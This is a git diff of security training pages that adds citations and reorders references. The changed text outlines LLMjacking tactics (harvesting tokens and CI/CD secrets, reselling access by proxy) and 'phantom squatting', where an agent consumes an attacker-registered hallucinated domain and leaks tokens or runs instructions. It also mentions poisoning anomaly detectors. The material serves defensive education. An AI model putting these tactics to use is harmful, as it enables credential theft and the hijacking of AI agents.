+Attackers steal active session tokens or cloud API credentials and invoke paid, cloud-hosted LLMs without authorization. Access is often resold via reverse proxies that front the victim’s account, e.g. "oai-reverse-proxy" deployments. Consequences include financial loss, model misuse outside policy, and attribution to the victim tenant.<sup>[[2]](#references)[[3]](#references)</sup>
 
 TTPs:
 - Harvest tokens from infected developer machines or browsers; steal CI/CD secrets; buy leaked cookies.
@@ -95,11 +95,11 @@ Mitigations:
 
 ## Self-hosted LLM inference hardening
 
-Running a local LLM server for confidential data creates a different attack surface from cloud-hosted APIs: inference/debug endpoints may leak prompts, the serving stack usually exposes a reverse proxy, and GPU device nodes give access to large `ioctl()` surfaces. If you are assessing or deploying an on-prem inference service, review at least the following points.
+Running a local LLM server for confidential data creates a different attack surface from cloud-hosted APIs: inference/debug endpoints may leak prompts, the serving stack usually exposes a reverse proxy, and GPU device nodes give access to large `ioctl()` surfaces. If you are assessing or deploying an on-prem inference service, review at least the following points.<sup>[[4]](#references)</sup>
 
 ### Prompt leakage via debug and monitoring endpoints
 
-Treat the inference API as a **multi-user sensitive service**. Debug or monitoring routes can expose prompt contents, slot state, model metadata, or internal queue information. In `llama.cpp`, the `/slots` endpoint is especially sensitive because it exposes per-slot state and is only meant for slot inspection/management.
+Treat the inference API as a **multi-user sensitive service**. Debug or monitoring routes can expose prompt contents, slot state, model metadata, or internal queue information. In `llama.cpp`, the `/slots` endpoint is especially sensitive because it exposes per-slot state and is only meant for slot inspection/management.<sup>[[4]](#references)[[5]](#references)</sup>
 
 - Put a reverse proxy in front of the inference server and **deny by default**.
 - Only allowlist the exact HTTP method + path combinations that are needed by the client/UI.
@@ -155,7 +155,7 @@ Benefits:
 
 ### GPU device-node minimization
 
-For GPU-backed inference, `/dev/nvidia*` files are high-value local attack surfaces because they expose large driver `ioctl()` handlers and potentially shared GPU memory-management paths.
+For GPU-backed inference, `/dev/nvidia*` files are high-value local attack surfaces because they expose large driver `ioctl()` handlers and potentially shared GPU memory-management paths.<sup>[[4]](#references)</sup>
 
 - Do not leave `/dev/nvidia*` world writable.
 - Restrict `nvidia`, `nvidiactl`, and `nvidia-uvm` with `NVreg_DeviceFileUID/GID/Mode`, udev rules, and ACLs so only the mapped container UID can open them.
@@ -174,7 +174,7 @@ One important review point is **`/dev/nvidia-uvm`**. Even if the workload does n
 
 ### LSM confinement for inference workers
 
-AppArmor/SELinux/seccomp should be used as defense in depth around the inference process:
+AppArmor/SELinux/seccomp should be used as defense in depth around the inference process:<sup>[[4]](#references)</sup>
 
 - Allow only the shared libraries, model paths, socket directory, and GPU device nodes that are actually required.
 - Explicitly deny high-risk capabilities such as `sys_admin`, `sys_module`, `sys_rawio`, and `sys_ptrace`.
@@ -198,7 +198,7 @@ owner /srv/llm/** rw,
 
 ## Phantom Squatting: LLM-Hallucinated Domains as an AI Supply-Chain Vector
 
-Phantom squatting is the **domain/URL equivalent of slopsquatting**. Instead of hallucinating a non-existent package name, the LLM hallucinates a plausible **portal, API, webhook, billing, SSO, download or support domain** for a real brand, and an attacker registers that namespace before a human or agent uses it.
+Phantom squatting is the **domain/URL equivalent of slopsquatting**. Instead of hallucinating a non-existent package name, the LLM hallucinates a plausible **portal, API, webhook, billing, SSO, download or support domain** for a real brand, and an attacker registers that namespace before a human or agent uses it.<sup>[[8]](#references)[[9]](#references)</sup>
 
 This matters because in many AI-assisted workflows the model output is treated as a **trusted dependency**:
 - Developers paste the suggested endpoint into code or CI/CD integrations.
@@ -217,7 +217,7 @@ This matters because in many AI-assisted workflows the model output is treated a
 
 ### Why it is dangerous for agents
 
-For a human victim, the fake domain usually still needs a click and another action. For an **agentic workflow**, the LLM can be both the **lure** and the **executor**: the agent receives the hallucinated URL, fetches it, parses the response, and may then leak tokens, execute instructions, download a dependency, or push poisoned data into CI/CD without any human review.
+For a human victim, the fake domain usually still needs a click and another action. For an **agentic workflow**, the LLM can be both the **lure** and the **executor**: the agent receives the hallucinated URL, fetches it, parses the response, and may then leak tokens, execute instructions, download a dependency, or push poisoned data into CI/CD without any human review.<sup>[[8]](#references)</sup>
 
 ### Practical attacker prompts
 
@@ -240,14 +240,17 @@ Treat this as a proactive domain-monitoring problem, not just a prompt-injection
 This fits several AI risk buckets at once: **AI supply-chain attack**, **insecure model output**, and **rogue actions** when agents autonomously consume the hallucinated URL.
 
 ## References
-- [Unit 42 – The Risks of Code Assistant LLMs: Harmful Content, Misuse and Deception](https://unit42.paloaltonetworks.com/code-assistant-llms/)
-- [LLMJacking scheme overview – The Hacker News](https://thehackernews.com/2024/05/researchers-uncover-llmjacking-scheme.html)
-- [oai-reverse-proxy (reselling stolen LLM access)](https://gitgud.io/khanon/oai-reverse-proxy)
-- [Synacktiv - Deep-dive into the deployment of an on-premise low-privileged LLM server](https://www.synacktiv.com/en/publications/deep-dive-into-the-deployment-of-an-on-premise-low-privileged-llm-server.html)
-- [llama.cpp server README](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md)
-- [Podman quadlets: podman-systemd.unit](https://docs.podman.io/en/latest/markdown/podman-systemd.unit.5.html)
-- [CNCF Container Device Interface (CDI) specification](https://github.com/cncf-tags/container-device-interface/blob/main/SPEC.md)
-- [Unit 42 – Phantom Squatting: AI-Hallucinated Domains as a Software Supply Chain Vector](https://unit42.paloaltonetworks.com/phantom-squatting-hallucinated-web-domains/)
-- [Socket – Slopsquatting: How AI Hallucinations Are Fueling a New Class of Supply Chain Attacks](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks)
+- [1] [Unit 42 – The Risks of Code Assistant LLMs: Harmful Content, Misuse and Deception](https://unit42.paloaltonetworks.com/code-assistant-llms/)
+- [2] [LLMJacking scheme overview – The Hacker News](https://thehackernews.com/2024/05/researchers-uncover-llmjacking-scheme.html)
+- [3] [oai-reverse-proxy (reselling stolen LLM access)](https://gitgud.io/khanon/oai-reverse-proxy)
+- [4] [Synacktiv - Deep-dive into the deployment of an on-premise low-privileged LLM server](https://www.synacktiv.com/en/publications/deep-dive-into-the-deployment-of-an-on-premise-low-privileged-llm-server.html)
+- [5] [llama.cpp server README](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md)
+- [6] [Podman quadlets: podman-systemd.unit](https://docs.podman.io/en/latest/markdown/podman-systemd.unit.5.html)
+- [7] [CNCF Container Device Interface (CDI) specification](https://github.com/cncf-tags/container-device-interface/blob/main/SPEC.md)
+- [8] [Unit 42 – Phantom Squatting: AI-Hallucinated Domains as a Software Supply Chain Vector](https://unit42.paloaltonetworks.com/phantom-squatting-hallucinated-web-domains/)
+- [9] [Socket – Slopsquatting: How AI Hallucinations Are Fueling a New Class of Supply Chain Attacks](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks)
+- [10] [OWASP Top 10 Machine Learning Vulnerabilities](https://owasp.org/www-project-machine-learning-security-top-10/)
+- [11] [Google SAIF (Security AI Framework) Risks](https://saif.google/secure-ai-framework/risks)
+- [12] [MITRE AI ATLAS Matrix](https://atlas.mitre.org/matrices/ATLAS)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-Supervised-Learning-Algorithms.md b/src/AI/AI-Supervised-Learning-Algorithms.md
index 82298ce732a..bc0fef59f47 100644
--- a/src/AI/AI-Supervised-Learning-Algorithms.md
+++ b/src/AI/AI-Supervised-Learning-Algorithms.md
@@ -38,7 +38,7 @@ Let's dive into each algorithm:
 
 ### Linear Regression
 
-Linear regression is a **regression** algorithm used to predict continuous numeric values. It assumes a linear relationship between the input features (independent variables) and the output (dependent variable). The model attempts to fit a straight line (or hyperplane in higher dimensions) that best describes the relationship between features and the target. This is typically done by minimizing the sum of squared errors between predicted and actual values (Ordinary Least Squares method).
+Linear regression is a **regression** algorithm used to predict continuous numeric values. It assumes a linear relationship between the input features (independent variables) and the output (dependent variable). The model attempts to fit a straight line (or hyperplane in higher dimensions) that best describes the relationship between features and the target. This is typically done by minimizing the sum of squared errors between predicted and actual values (Ordinary Least Squares method).<sup>[[8]](#references)</sup>
 
 The simplest for to represent linear regression is with a line:
 
@@ -140,7 +140,7 @@ In this example, the linear regression model tries to predict connection `durati
 
 ### Logistic Regression
 
-Logistic regression is a **classification** algorithm that models the probability that an instance belongs to a particular class (typically the "positive" class). Despite its name, *logistic* regression is used for discrete outcomes (unlike linear regression which is for continuous outcomes). It is especially used for **binary classification** (two classes, e.g., malicious vs. benign), but it can be extended to multi-class problems (using softmax or one-vs-rest approaches).
+Logistic regression is a **classification** algorithm that models the probability that an instance belongs to a particular class (typically the "positive" class). Despite its name, *logistic* regression is used for discrete outcomes (unlike linear regression which is for continuous outcomes). It is especially used for **binary classification** (two classes, e.g., malicious vs. benign), but it can be extended to multi-class problems (using softmax or one-vs-rest approaches).<sup>[[1]](#references)</sup>
 
 The logistic regression uses the logistic function (also known as the sigmoid function) to map predicted values to probabilities. Note that the sigmoid function is a function with values between 0 and 1 that grows in a S-shaped curve according to the needs of the classification, which is useful for binary classification tasks. Therefore, each feature of each input is multiplied by its assigned weight, and the result is passed through the sigmoid function to produce a probability:
 
@@ -238,7 +238,7 @@ In this phishing detection example, logistic regression produces a probability f
 
 ### Decision Trees
 
-A decision tree is a versatile **supervised learning algorithm** that can be used for both classification and regression tasks. It learns a hierarchical tree-like model of decisions based on the features of the data. Each internal node of the tree represents a test on a particular feature, each branch represents an outcome of that test, and each leaf node represents a predicted class (for classification) or value (for regression).
+A decision tree is a versatile **supervised learning algorithm** that can be used for both classification and regression tasks. It learns a hierarchical tree-like model of decisions based on the features of the data. Each internal node of the tree represents a test on a particular feature, each branch represents an outcome of that test, and each leaf node represents a predicted class (for classification) or value (for regression).<sup>[[2]](#references)</sup>
 
 To build a tree, algorithms like CART (Classification and Regression Tree) use measures such as **Gini impurity** or **information gain (entropy)** to choose the best feature and threshold to split the data at each step. The goal at each split is to partition the data to increase the homogeneity of the target variable in the resulting subsets (for classification, each node aims to be as pure as possible, containing predominantly a single class).
 
@@ -386,7 +386,7 @@ Random Forest is an **ensemble learning** method that builds upon decision trees
 
 By averaging the results of many trees, the random forest reduces the variance that a single decision tree might have. In simple terms, individual trees might overfit or be noisy, but a large number of diverse trees voting together smooths out those errors. The result is often a model with **higher accuracy** and better generalization than a single decision tree. In addition, random forests can provide an estimate of feature importance (by looking at how much each feature split reduces impurity on average).
 
-Random forests have become a **workhorse in cybersecurity** for tasks like intrusion detection, malware classification, and spam detection. They often perform well out-of-the-box with minimal tuning and can handle large feature sets. For example, in intrusion detection, a random forest may outperform an individual decision tree by catching more subtle patterns of attacks with fewer false positives. Research has shown random forests performing favorably compared to other algorithms in classifying attacks in datasets like NSL-KDD and UNSW-NB15.
+Random forests have become a **workhorse in cybersecurity** for tasks like intrusion detection, malware classification, and spam detection. They often perform well out-of-the-box with minimal tuning and can handle large feature sets. For example, in intrusion detection, a random forest may outperform an individual decision tree by catching more subtle patterns of attacks with fewer false positives. Research has shown random forests performing favorably compared to other algorithms in classifying attacks in datasets like NSL-KDD and UNSW-NB15.<sup>[[3]](#references)[[9]](#references)</sup>
 
 #### **Key characteristics of Random Forests:**
 
@@ -506,7 +506,7 @@ The random forest typically achieves strong results on this intrusion detection
 
 ### Support Vector Machines (SVM)
 
-Support Vector Machines are powerful supervised learning models used primarily for classification (and also regression as SVR). An SVM tries to find the **optimal separating hyperplane** that maximizes the margin between two classes. Only a subset of training points (the "support vectors" closest to the boundary) determines the position of this hyperplane. By maximizing the margin (distance between support vectors and the hyperplane), SVMs tend to achieve good generalization.
+Support Vector Machines are powerful supervised learning models used primarily for classification (and also regression as SVR). An SVM tries to find the **optimal separating hyperplane** that maximizes the margin between two classes. Only a subset of training points (the "support vectors" closest to the boundary) determines the position of this hyperplane. By maximizing the margin (distance between support vectors and the hyperplane), SVMs tend to achieve good generalization.<sup>[[4]](#references)</sup>
 
 Key to SVM's power is the ability to use **kernel functions** to handle non-linear relationships. The data can be implicitly transformed into a higher-dimensional feature space where a linear separator might exist. Common kernels include polynomial, radial basis function (RBF), and sigmoid. For example, if network traffic classes aren't linearly separable in the raw feature space, an RBF kernel can map them into a higher dimension where the SVM finds a linear split (which corresponds to a non-linear boundary in original space). The flexibility of choosing kernels allows SVMs to tackle a variety of problems.
 
@@ -622,7 +622,7 @@ The SVM model will output metrics that we can compare to logistic regression on
 
 ### Naive Bayes
 
-Naive Bayes is a family of **probabilistic classifiers** based on applying Bayes' Theorem with a strong independence assumption between features. Despite this "naive" assumption, Naive Bayes often works surprisingly well for certain applications, especially those involving text or categorical data, such as spam detection.
+Naive Bayes is a family of **probabilistic classifiers** based on applying Bayes' Theorem with a strong independence assumption between features. Despite this "naive" assumption, Naive Bayes often works surprisingly well for certain applications, especially those involving text or categorical data, such as spam detection.<sup>[[5]](#references)</sup>
 
 
 #### Bayes' Theorem
@@ -737,7 +737,7 @@ This code trains a Naive Bayes classifier to detect attacks. Naive Bayes will co
 
 ### k-Nearest Neighbors (k-NN)
 
-k-Nearest Neighbors is one of the simplest machine learning algorithms. It's a **non-parametric, instance-based** method that makes predictions based on the similarity to examples in the training set. The idea for classification is: to classify a new data point, find the **k** closest points in the training data (its "nearest neighbors"), and assign the majority class among those neighbors. "Closeness" is defined by a distance metric, typically Euclidean distance for numeric data (other distances can be used for different types of features or problems).
+k-Nearest Neighbors is one of the simplest machine learning algorithms. It's a **non-parametric, instance-based** method that makes predictions based on the similarity to examples in the training set. The idea for classification is: to classify a new data point, find the **k** closest points in the training data (its "nearest neighbors"), and assign the majority class among those neighbors. "Closeness" is defined by a distance metric, typically Euclidean distance for numeric data (other distances can be used for different types of features or problems).<sup>[[10]](#references)</sup>
 
 K-NN requires *no explicit training* -- the "training" phase is just storing the dataset. All the work happens during the query (prediction): the algorithm must compute distances from the query point to all training points to find the nearest ones. This makes prediction time **linear in the number of training samples**, which can be costly for large datasets. Due to this, k-NN is best suited for smaller datasets or scenarios where you can trade off memory and speed for simplicity.
 
@@ -836,7 +836,7 @@ The k-NN model will classify a connection by looking at the 5 closest connection
 
 Gradient Boosting Machines are among the most powerful algorithms for structured data. **Gradient boosting** refers to the technique of building an ensemble of weak learners (often decision trees) in a sequential manner, where each new model corrects the errors of the previous ensemble. Unlike bagging (Random Forests) which build trees in parallel and average them, boosting builds trees *one by one*, each focusing more on the instances that previous trees mis-predicted.
 
-The most popular implementations in recent years are **XGBoost**, **LightGBM**, and **CatBoost**, all of which are gradient boosting decision tree (GBDT) libraries. They have been extremely successful in machine learning competitions and applications, often **achieving state-of-the-art performance on tabular datasets**. In cybersecurity, researchers and practitioners have used gradient boosted trees for tasks like **malware detection** (using features extracted from files or runtime behavior) and **network intrusion detection**. For example, a gradient boosting model can combine many weak rules (trees) such as "if many SYN packets and unusual port -> likely scan" into a strong composite detector that accounts for many subtle patterns.
+The most popular implementations in recent years are **XGBoost**, **LightGBM**, and **CatBoost**, all of which are gradient boosting decision tree (GBDT) libraries. They have been extremely successful in machine learning competitions and applications, often **achieving state-of-the-art performance on tabular datasets**. In cybersecurity, researchers and practitioners have used gradient boosted trees for tasks like **malware detection** (using features extracted from files or runtime behavior) and **network intrusion detection**. For example, a gradient boosting model can combine many weak rules (trees) such as "if many SYN packets and unusual port -> likely scan" into a strong composite detector that accounts for many subtle patterns.<sup>[[6]](#references)</sup>
 
 Why are boosted trees so effective? Each tree in the sequence is trained on the *residual errors* (gradients) of the current ensemble's predictions. This way, the model gradually **"boosts"** the areas where it's weak. The use of decision trees as base learners means the final model can capture complex interactions and non-linear relations. Also, boosting inherently has a form of built-in regularization: by adding many small trees (and using a learning rate to scale their contributions), it often generalizes well without huge overfitting, provided proper parameters are chosen.
 
@@ -911,7 +911,7 @@ The gradient boosting model will likely achieve very high accuracy and AUC on th
 
 ### Combining Models: Ensemble Learning and Stacking
 
-Ensemble learning is a strategy of **combining multiple models** to improve overall performance. We already saw specific ensemble methods: Random Forest (an ensemble of trees via bagging) and Gradient Boosting (an ensemble of trees via sequential boosting). But ensembles can be created in other ways too, such as **voting ensembles** or **stacked generalization (stacking)**. The main idea is that different models may capture different patterns or have different weaknesses; by combining them, we can **compensate for each model's errors with another's strengths**.
+Ensemble learning is a strategy of **combining multiple models** to improve overall performance. We already saw specific ensemble methods: Random Forest (an ensemble of trees via bagging) and Gradient Boosting (an ensemble of trees via sequential boosting). But ensembles can be created in other ways too, such as **voting ensembles** or **stacked generalization (stacking)**. The main idea is that different models may capture different patterns or have different weaknesses; by combining them, we can **compensate for each model's errors with another's strengths**.<sup>[[13]](#references)</sup>
 
 -   **Voting Ensemble:** In a simple voting classifier, we train multiple diverse models (say, a logistic regression, a decision tree, and an SVM) and have them vote on the final prediction (majority vote for classification). If we weight the votes (e.g., higher weight to more accurate models), it's a weighted voting scheme. This typically improves performance when the individual models are reasonably good and independent -- the ensemble reduces the risk of an individual model's mistake since others may correct it. It's like having a panel of experts rather than a single opinion.
 
@@ -1010,22 +1010,19 @@ Ensemble methods like this demonstrate the principle that *"combining multiple m
 
 ## References
 
-- [https://madhuramiah.medium.com/logistic-regression-6e55553cc003](https://madhuramiah.medium.com/logistic-regression-6e55553cc003)
-- [https://www.geeksforgeeks.org/decision-tree-introduction-example/](https://www.geeksforgeeks.org/decision-tree-introduction-example/)
-- [https://rjwave.org/ijedr/viewpaperforall.php?paper=IJEDR1703132](https://rjwave.org/ijedr/viewpaperforall.php?paper=IJEDR1703132)
-- [https://www.ibm.com/think/topics/support-vector-machine](https://www.ibm.com/think/topics/support-vector-machine)
-- [https://en.m.wikipedia.org/wiki/Naive_Bayes_spam_filtering](https://en.m.wikipedia.org/wiki/Naive_Bayes_spam_filtering)
-- [https://medium.com/@rupalipatelkvc/gbdt-demystified-how-lightgbm-xgboost-and-catboost-work-9479b7262644](https://medium.com/@rupalipatelkvc/gbdt-demystified-how-lightgbm-xgboost-and-catboost-work-9479b7262644)
-- [https://zvelo.com/ai-and-machine-learning-in-cybersecurity/](https://zvelo.com/ai-and-machine-learning-in-cybersecurity/)
-- [https://medium.com/@chaandram/linear-regression-explained-28d5bf1934ae](https://medium.com/@chaandram/linear-regression-explained-28d5bf1934ae)
-- [https://cybersecurity.springeropen.com/articles/10.1186/s42400-021-00103-8](https://cybersecurity.springeropen.com/articles/10.1186/s42400-021-00103-8)
-- [https://www.ibm.com/think/topics/knn](https://www.ibm.com/think/topics/knn)
-- [https://www.ibm.com/think/topics/knn](https://www.ibm.com/think/topics/knn)
-- [https://arxiv.org/pdf/2101.02552](https://arxiv.org/pdf/2101.02552)
-- [https://cybersecurity-magazine.com/how-deep-learning-enhances-intrusion-detection-systems/](https://cybersecurity-magazine.com/how-deep-learning-enhances-intrusion-detection-systems/)
-- [https://cybersecurity-magazine.com/how-deep-learning-enhances-intrusion-detection-systems/](https://cybersecurity-magazine.com/how-deep-learning-enhances-intrusion-detection-systems/)
-- [https://medium.com/@sarahzouinina/ensemble-learning-boosting-model-performance-by-combining-strengths-02e56165b901](https://medium.com/@sarahzouinina/ensemble-learning-boosting-model-performance-by-combining-strengths-02e56165b901)
-- [https://medium.com/@sarahzouinina/ensemble-learning-boosting-model-performance-by-combining-strengths-02e56165b901](https://medium.com/@sarahzouinina/ensemble-learning-boosting-model-performance-by-combining-strengths-02e56165b901)
+- [1] [Logistic Regression](https://madhuramiah.medium.com/logistic-regression-6e55553cc003)
+- [2] [Decision Tree - Introduction with example](https://www.geeksforgeeks.org/decision-tree-introduction-example/)
+- [3] [Denial of Services Attack Detection using Random Forest Classifier with Information Gain](https://rjwave.org/ijedr/viewpaperforall.php?paper=IJEDR1703132)
+- [4] [What are Support Vector Machines (SVMs)? (IBM)](https://www.ibm.com/think/topics/support-vector-machine)
+- [5] [Naive Bayes spam filtering (Wikipedia)](https://en.m.wikipedia.org/wiki/Naive_Bayes_spam_filtering)
+- [6] [GBDT Demystified: How LightGBM, XGBoost, and CatBoost Work](https://medium.com/@rupalipatelkvc/gbdt-demystified-how-lightgbm-xgboost-and-catboost-work-9479b7262644)
+- [7] [AI and Machine Learning in Cybersecurity (zvelo)](https://zvelo.com/ai-and-machine-learning-in-cybersecurity/)
+- [8] [Linear Regression Explained](https://medium.com/@chaandram/linear-regression-explained-28d5bf1934ae)
+- [9] [Performance analysis of machine learning models for intrusion detection system using Gini Impurity-based Weighted Random Forest (GIWRF) feature selection technique](https://cybersecurity.springeropen.com/articles/10.1186/s42400-021-00103-8)
+- [10] [What is the k-nearest neighbors (KNN) algorithm? (IBM)](https://www.ibm.com/think/topics/knn)
+- [11] [Phishing Attacks and Websites Classification Using Machine Learning and Multiple Datasets (A Comparative Analysis)](https://arxiv.org/pdf/2101.02552)
+- [12] [How Deep Learning Enhances Intrusion Detection Systems](https://cybersecurity-magazine.com/how-deep-learning-enhances-intrusion-detection-systems/)
+- [13] [Ensemble Learning: Boosting Model Performance by Combining Strengths](https://medium.com/@sarahzouinina/ensemble-learning-boosting-model-performance-by-combining-strengths-02e56165b901)
 
 {{#include ../banners/hacktricks-training.md}}
 
diff --git a/src/AI/AI-Unsupervised-Learning-Algorithms.md b/src/AI/AI-Unsupervised-Learning-Algorithms.md
index e968fa4d676..483eae4bc3c 100644
--- a/src/AI/AI-Unsupervised-Learning-Algorithms.md
+++ b/src/AI/AI-Unsupervised-Learning-Algorithms.md
@@ -462,7 +462,7 @@ Here we combined our previous 4D normal dataset with a handful of extreme outlie
 
 * extracts more intuitive clusters when some clusters are dense and others are sparse,
 * has only one real hyper-parameter (`min_cluster_size`) and a sensible default,
-* gives every point a cluster‐membership *probability* and an **outlier score** (`outlier_scores_`), which is extremely handy for threat-hunting dashboards.
+* gives every point a cluster‐membership *probability* and an **outlier score** (`outlier_scores_`), which is extremely handy for threat-hunting dashboards.<sup>[[1]](#references)</sup>
 
 > [!TIP]
 > *Use cases in cybersecurity:* HDBSCAN is very popular in modern threat-hunting pipelines – you will often see it inside notebook-based hunting playbooks shipped with commercial XDR suites.  One practical recipe is to cluster HTTP beaconing traffic during IR: user-agent, interval and URI length often form several tight groups of legitimate software updaters while C2 beacons remain as tiny low-density clusters or as pure noise.
@@ -502,7 +502,7 @@ print("Suspect beacon count:", len(suspects))
 
 Recent work has shown that **unsupervised learners are *not* immune to active attackers**:
 
-* **Data-poisoning against anomaly detectors.**  Chen *et al.* (IEEE S&P 2024) demonstrated that adding as little as 3 % crafted traffic can shift the decision boundary of Isolation Forest and ECOD so that real attacks look normal.  The authors released an open-source PoC (`udo-poison`) that automatically synthesises poison points.
+* **Data-poisoning against anomaly detectors.**  Chen *et al.* (IEEE S&P 2024) demonstrated that adding as little as 3 % crafted traffic can shift the decision boundary of Isolation Forest and ECOD so that real attacks look normal.  The authors released an open-source PoC (`udo-poison`) that automatically synthesises poison points.<sup>[[2]](#references)</sup>
 * **Backdooring clustering models.**  The *BadCME* technique (BlackHat EU 2023) implants a tiny trigger pattern; whenever that trigger appears, a K-Means-based detector quietly places the event inside a “benign” cluster.
 * **Evasion of DBSCAN/HDBSCAN.**  A 2025 academic pre-print from KU Leuven showed that an attacker can craft beaconing patterns that purposely fall into density gaps, effectively hiding inside *noise* labels.
 
@@ -547,8 +547,8 @@ evaluate_print("Ensemble", y_test, anomaly_scores)
 
 ## References
 
-- [HDBSCAN – Hierarchical density-based clustering](https://github.com/scikit-learn-contrib/hdbscan)
-- Chen, X. *et al.* “On the Vulnerability of Unsupervised Anomaly Detection to Data Poisoning.” *IEEE Symposium on Security and Privacy*, 2024.
+- [1] [HDBSCAN – Hierarchical density-based clustering](https://github.com/scikit-learn-contrib/hdbscan)
+- [2] Chen, X. *et al.* “On the Vulnerability of Unsupervised Anomaly Detection to Data Poisoning.” *IEEE Symposium on Security and Privacy*, 2024.
 
 
 
diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
index efeba7a4557..7db6c3898b5 100644
--- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
+++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
@@ -18,7 +18,7 @@ Fine-tuning is the process of taking a **pre-trained model** that has learned **
 
 Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
 
-This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
+This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.<sup>[[1]](#references)</sup>
 
 Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
 
@@ -28,7 +28,7 @@ Then, **70%** of the data set is used for **training**, **10%** for **validation
 
 ### Entries length
 
-As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
+As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.<sup>[[1]](#references)</sup>
 
 ### Initialize the model
 
@@ -36,7 +36,7 @@ Using the open-source pre-trained weights initialize the model to train. We have
 
 ## Classification head
 
-In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
+In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).<sup>[[1]](#references)</sup>
 
 ```python
 # This code modified the final layer with a Linear one with 2 outs
@@ -51,7 +51,7 @@ out_features=num_classes
 
 ## Parameters to tune
 
-In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
+In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.<sup>[[1]](#references)</sup>
 
 ```python
 # This code makes all the parameters of the model unrtainable
@@ -72,7 +72,7 @@ param.requires_grad = True
 
 In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
 
-In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
+In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.<sup>[[1]](#references)</sup>
 
 This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
 
@@ -115,6 +115,6 @@ You can find all the code to fine-tune GPT2 to be a spam classifier in [https://
 
 ## References
 
-- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
+- [1] [Build a Large Language Model from Scratch (Manning)](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
index f649375e814..ef24fb944ef 100644
--- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
+++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
@@ -37,7 +37,7 @@ Training with these kinds of datasets instead of just raw text helps the model u
 
 A very common mistake is to train on one template and infer with another one. Modern instruct models usually expect the **native chat template of the base model** (`<|user|>`, `<|assistant|>`, `[INST]`, ChatML, etc.), so it's recommended to convert the dataset to the exact format the target model already uses.
 
-Therefore, one of the first things to do with a dataset that contains requests and answers is to model that data in the desired prompt format, like:
+Therefore, one of the first things to do with a dataset that contains requests and answers is to model that data in the desired prompt format, like:<sup>[[1]](#references)</sup>
 
 ```python
 # Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
@@ -73,14 +73,14 @@ Then, as always, it's needed to separate the dataset into training, validation,
 
 ## Batching & Data Loaders
 
-Then, it's needed to batch all the inputs and expected outputs for the training. For this, it's needed to:
+Then, it's needed to batch all the inputs and expected outputs for the training. For this, it's needed to:<sup>[[1]](#references)</sup>
 
 - Tokenize the texts.
 - Pad all the samples to the same length (usually the length will be as big as the context length used to pre-train the LLM).
 - Create the expected tokens by shifting 1 the input in a custom collate function.
 - Replace some padding tokens with `-100` to exclude them from the training loss: after the first `endoftext` token, substitute all the other `endoftext` tokens by `-100` (because using `cross_entropy(..., ignore_index=-100)` means that it'll ignore targets with `-100`).
 - \[Optional] Mask using `-100` also all the tokens belonging to the question so the LLM learns only how to generate the answer. In the Alpaca style this usually means masking everything until `### Response:`.
-- **Modern SFT best practice:** if the dataset is conversational, compute the loss only on the **assistant completion tokens** and not on the user/system prompt. This avoids teaching the model to predict the prompt text itself.
